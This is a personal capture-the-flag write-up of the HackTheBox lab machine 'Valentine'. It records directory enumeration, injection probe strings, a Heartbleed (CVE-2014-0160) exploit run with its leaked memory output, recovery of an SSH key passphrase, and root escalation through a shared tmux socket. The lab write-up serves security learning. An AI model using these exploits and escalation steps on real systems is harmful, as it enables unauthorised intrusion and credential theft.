HackTheBox: Valentine

01/13/2024

Damn. Only a few more easy boxes to go before I get to a streak of three medium ones.

Last box I did was medium too, [[Cronos]].

Enumeration

Three ports open: 1) SSH on 22 2) http on 80 3) https on 443

Script scan tells us that it is likely an Ubuntu system. It also indicates that the hostname may be valentine.htb, so we'll add this to /etc/hosts.

Without further ado, let's check out the website.

Enumerating the website

Interesting... all we see is a picture of a woman in fear with a bleeding heart drawn next to her.

Lets brute force for other dirs and vhosts.

Directory brute forcing using gobuster immediately turned up a bunch of interesting directories:


$ gobuster dir --url=http://valentine.htb --wordlist=$DIRS               
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://valentine.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index                (Status: 200) [Size: 38]
/dev                  (Status: 301) [Size: 312] [--> http://valentine.htb/dev/]
/encode               (Status: 200) [Size: 554]
/decode               (Status: 200) [Size: 552]
/omg                  (Status: 200) [Size: 153356]
/server-status        (Status: 403) [Size: 294]

Navigating to /dev shows us a directory listing with a couple files: hype_key and notes.txt. Ill download and save hype_key, which is a long list of hex ASCII. Im not sure yet what it is for.

Here's the contents of notes.txt:


To do:

1) Coffee.
2) Research.
3) Fix decoder/encoder before going live.
4) Make sure encoding/decoding is only done client-side.
5) Don't use the decoder/encoder until any of this is done.
6) Find a better way to take notes.

This may be a hint that something is being done server-side for the decoder.

/encoder and /decoder bring you to a simple http page with an input field, and the message "Secure Data Encoder/Decoder - No Data is Stored on Our Servers". Hmmm. Lets see what it does with some sample input of "hello":


Your input:  
hello  
Your encoded input:  
aGVsbG8=

Okay, I see. It looks like it's just base64 encoding the input. I have a hunch that this is going to be command injection, but it could also be template injection.

Hmm. If it is injection, its going to be tricky; it seems to be sanitizing the inputs very well. I tried the catch-all template injection payload ${{<%[%'"}}%\. but got nothing, and got nothing with test;whoami.

To my surprise, the hype_key actually wound up being an RSA private key. I didnt expect that at all. I found it by running xxd -r -p hype_key decoded to see if it was an encoded message, but it turned out to be RSA key. I thought it would be some kind of backdoor to enter into the text field and get a webshell or something.

Cracking the RSA key... or not

I ran ssh2john on the rsa key and tried to crack it, but john didnt find any matches in rockyou.txt.

Back to injection

Looks like I cant do much with the RSA key until I get some credentials. Back to trying to inject the encoder/decoder page.

Wappalyzer identifies the language as PHP, so let me try PHP injection. In the "Encode:" field I enter <?php echo '<p>Hello World</p>'; ?>.

And on the output...


Your input:  
Hello World

'; ?>  
Your encoded input:  
PD9waHAgZWNobyAnPHA+SGVsbG8gV29ybGQ8L3A+JzsgPz4=

Interesting... it isnt showing the <?php echo in the result, so it may actually have executed that code. Lets see if I can get it to do something else, like math.

I cant get any call backs. Not quite sure why. I can get it to print html breaks by entering <br><br><br><br><br><br>, and this prints multiple newlines in the display.

DAMN. That was pretty slick if I do say so myself. Not sure if I can get RCE this way, but I got it to print an image by copy and pasting the img tag from the page with the image, <center><img src="../../omg.jpg"/></center> and pasted it into the encoder. This caused the image to print in the output.

Maybe I can use this like an SSRF to print contents from the /server-status area?

One way might be to use iframes.

Ooh, nice- I got a callback with this encoder payload: <center><img src='http://10.10.14.24:1234/fuckyourself'/></center>:


$ python3 -m http.server 1234
Serving HTTP on 0.0.0.0 port 1234 (http://0.0.0.0:1234/) ...
10.10.14.24 - - [14/Oct/2023 17:43:04] code 404, message File not found
10.10.14.24 - - [14/Oct/2023 17:43:04] "GET /fuckyourself HTTP/1.1" 404 -

Okay, this kind of(?) worked: <table background='//10.10.14.24:4444?':


$ nc -nlvp 4444              
listening on [any] 4444 ...
connect to [10.10.14.24] from (UNKNOWN) [10.10.14.24] 46348
P
        s       GoMLuKe
                        Vb뫞a\U.zUʚ?|~ɉ"+/,0
        /5


#
 ␤␤├├⎻/1↓1"
3┐␋ 2="3<£7␉)W_┐─AG6TܕNJ8V]£N─E$XJI^CB↓⎽
↑@                                     ]␤↓6┐┴"◆⎺→

What the fuck is that?

ooooh.... Im an idiot. Its all CLIENT SIDE, so its my own system initiating the connections. Duh.

The server must just be doing the base64.

Attempting PHP injection

Im guessing, since theyre using php, that theyre probably just doing PHP's built-in base64 functions. Like so:

php
base64_decode(string $string, bool $strict = false): string|false

or like this

php
`<?php`<br><br>` function`<br><br>`$str` `=` `'GeeksforGeeks'``;`<br><br>`echo` `base64_encode``(``$str``);`<br><br>`?>`|

So we have to figure out how to escape this command and do our own thing.

Remember this line from notes.txt?


3) Fix decoder/encoder before going live.

Evidently SOMETHING is wrong with it.

Okay. Im trying to think clearly here. The photo include is proof that at least PART of this is being processed on the server, since I used a relative path and it still worked.

I looked up ways to embed a text file into html and came across the "object" tag. Using this caused the page to hang:


<div><object data="../../../../etc/passwd"></object></div>

No luck... consulting guided mode

Guided mode's hint was to use nmap's vulnerability scanner.

This indicated that the https server is vulnerable to the "heartbleed" exploit, CVE-2014-0160

I downloaded the exploit from here (https://gist.githubusercontent.com/eelsivart/10174134/raw/8aea10b2f0f6842ccff97ee921a836cf05cd7530/heartbleed.py) and ran it a bunch of times to dump memory in small increments. I noticed some base64 data and decoded it, and it looks like its a password.

Here's what I did:


┌──(kali㉿kali)-[~/…/hacking/hackthebox/boxes/valentine]
└─$ python2 heartbleed.py valentine.htb

defribulator v1.16
A tool to test and exploit the TLS heartbeat vulnerability aka heartbleed (CVE-2014-0160)

##################################################################
Connecting to: valentine.htb:443, 1 times
Sending Client Hello for TLSv1.0
Received Server Hello for TLSv1.0

WARNING: valentine.htb:443 returned more data than it should - server is vulnerable!
Please wait... connection attempt 1 of 1
##################################################################

.@....SC[...r....+..H...9...
....w.3....f...
...!.9.8.........5...............
.........3.2.....E.D...../...A.................................I.........
...........
...................................#.......0.0.1/decode.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 42

$text=aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==u1GX....?...g.{m.p.w.....................+............-.....3.&.$... r.^.$.{..>E....E.s..\.......#.D5...8


┌──(kali㉿kali)-[~/…/hacking/hackthebox/boxes/valentine]
└─$ echo -n aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg== | base64 --decode
heartbleedbelievethehype

That definitely looks like a password to me... heartbleedbelievethehype. I bet this is the passphrase for the rsa key.

Now what the fuck is the username?

Apparently the username is "hype". I guess I could have deduced that from the filename, but it wasnt obvious.

Anyway, to use the key to ssh in to hype, I had to add the following lines to ~/.ssh/config to fix an error saying sign_and_send_pubkey: no mutual signature supported:


Host *
    PubkeyAcceptedKeyTypes=+ssh-rsa
    HostKeyAlgorithms=+ssh-rsa

Now when I try it, I get in:


$ ssh -i ./decoded hype@valentine.htb
Enter passphrase for key './decoded': (heartbleedbelievethehype)
Welcome to Ubuntu 12.04 LTS (GNU/Linux 3.2.0-23-generic x86_64)

 * Documentation:  https://help.ubuntu.com/

New release '14.04.5 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Last login: Fri Feb 16 14:50:29 2018 from 10.10.14.3
hype@Valentine:~$ 

Internal Enumeration

The fucking kernel was compiled in 2012. It shouldnt be hard to find a kernel exploit for priv esc... Let me upload linpeas and try that.

Okay. Used guided mode again here instead of trying to figure it out myself, partly because Im drunk.

This time our .bash_history is actually readable, and shows the following lines:


cd /
ls -la
cd .devs
ls -la
tmux -L dev_sess 
tmux a -t dev_sess 
tmux --help
tmux -S /.devs/dev_sess 
exit

If I run tmux -S /.devs/dev_sess myself, I attach to a tmux session run by root:


hype@Valentine:/.devs$ tmux -S /.devs/dev_sess 

root@Valentine:/.devs# whoami
root